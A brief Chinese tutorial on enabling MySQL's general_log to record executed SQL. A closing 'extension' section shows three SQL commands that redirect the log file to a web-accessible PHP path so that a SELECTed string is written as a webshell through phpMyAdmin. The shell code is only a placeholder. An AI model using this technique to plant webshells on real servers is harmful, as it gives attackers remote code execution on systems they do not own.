MySQL开启general_log跟踪sql执行记录

设置general log保存路径,注意在Linux中只能设置到 /tmp 或 /var 文件夹下,设置其他路径出错,同时需要root用户才有访问此文件的权限,代码如下:

1
2
3
4
5
mysql> set global general_log_file='/tmp/general.lg';    #设置路径

mysql> set global general_log=on; # 开启general log模式

mysql> set global general_log=off; # 关闭general log模式

命令行设置即可,无需重启

在general log模式开启过程中,所有对数据库的操作都将被记录 general.log 文件 或 可以将日志记录在表中, 如下

1
mysql>set global log_output='table'

运行后,可以在mysql数据库下查找 general_log表

延伸: 根据上面的原理我们可以根据三个sql语句拿下phpmyadmin的shell

1
2
3
4
5
mysql> set global general_log='on';

mysql> SET global general_log_file='D:/webshell/www/cmd.php';

mysql> SELECT 'shell code';
关注作者公众号,获取更多资源!
赏作者一杯咖啡~